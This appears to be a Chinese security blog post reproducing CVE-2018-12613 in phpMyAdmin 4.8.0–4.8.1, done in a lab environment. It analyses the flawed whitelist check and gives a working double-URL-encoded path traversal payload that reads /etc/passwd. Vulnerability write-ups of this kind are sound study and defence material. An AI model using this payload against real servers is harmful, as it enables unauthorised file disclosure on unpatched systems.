当前位置:网站首页>[漏洞复现]CVE-2018-12613(远程文件包含)
[漏洞复现]CVE-2018-12613(远程文件包含)
2022-08-09 08:33:00 【z.volcano】
受影响版本
phpMyAdmin 4.8.0和4.8.1
环境
https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
下载源码后,可以配合phpstudy在本地搭建环境,我这里直接在BUUOJ里现有的环境做的
漏洞分析
在这段代码中,连着有五个if判断语句
if (! empty($_REQUEST['target']) #target参数不能为空
&& is_string($_REQUEST['target']) #target参数传入的值必须是字符串
&& ! preg_match('/^index/', $_REQUEST['target']) #target传入的值不能以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist) #target传入的值中不能含有在$target_blacklist内出现的东西
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
这里是$_REQUEST
,post方法和get方法都支持
倒数第二个判断中提到的$target_blacklist
,本质上是一个黑名单,限制传入的内容
$target_blacklist = array (
'import.php', 'export.php'
);
最后一个判断中的checkPageValidity
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
#如果$whitelist为空,则引用$goto_whitelist
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
#如果$page没有被定义,或者$page不是字符串,则返回false
return false;
}
if (in_array($page, $whitelist)) {
#如果$page有$whitelist中的某个值,则返回true
return true;
}
$_page = mb_substr( #$_page截取$page传参前的值,如$page=index.php?a=123,则$_page=index.php
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
#如果$_page有$whitelist中的某个值,则返回true
return true;
}
$_page = urldecode($page); #突破点
$_page = mb_substr( #$_page截取$_page传参前的值
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
##如果$_page有$whitelist中的某个值,则返回true
return true;
}
return false;
}
这里in_array($page, $whitelist)
前后执行了四次,比较有意思的是,如果匹配成功会返回true,但是匹配不成功不会返回false,这也为后面构造payload提供了可能性。
突破点在$_page = urldecode($page);
,如果我们构造,使得decode后出现了一个?
,那么之后截取$_page传参前的值(即?
之前的内容),就可以利用了
漏洞利用
?target=db_sql.php%253f/../../../../../../../../etc/passwd
因为`%253f`二次url解码后是`?`,整体变成
?target=db_sql.php?/../../../../../../../../etc/passwd
截取之后的$_page
是db_sql.php
,在$whitelist
中,满足条件,返回true
成功进行目录穿越
边栏推荐
- Routing configuration forwarding and experiment
- 继承中的运算符重载:输入输出的传奇
- App testing
- bs4的使用基础学习
- P1064 金明的预算方案
- Analysis that may result in a savecount of 0 in Loadrunner checkpoints
- pragma comment的使用(转载)重新排版
- System transformation and subnetting
- 【Harmony OS】【ARK UI】公共事件模块
- OpenHarmony Light Smart Product Development Live Notes
猜你喜欢
Shell编程之循环语句与函数
The principle and configuration of VLAN
Routing configuration forwarding and experiment
Database MySQL installation and uninstallation
【CNN】2022 ECCV 对比视觉Transformer的在线持续学习
Result consisted of more than one row
黑马2022最新redis课程笔记知识点(面试用)
MySQL数据库
Introduction to Network Layer Protocols
火星人 --简单的数学题
随机推荐
Set集合
内存监控以及优化
Shell编程之循环语句与函数
EMQ X 消息服务器学习记录——为后面的毕设做准备
prepareStatement的使用
Database MySQL installation and uninstallation
P1064 Jin Ming's Budget Plan
Analysis that may result in a savecount of 0 in Loadrunner checkpoints
交换机的工作原理
Redis(八)集群
Process synchronization and mutual exclusion problem
+ 6000 words, help you understand the Internet architecture evolution.
正则表达式基础介绍
继承中的运算符重载:输入输出的传奇
Introduction to the Endpoint
Cookie and Session Details
897. Increasing Order Search Tree
leetcode 34. 在排序数组中查找元素的第一个和最后一个位置(二分经典题)
测试和开发之间的恩恩怨怨
VMware虚拟机强制关闭后,无法联网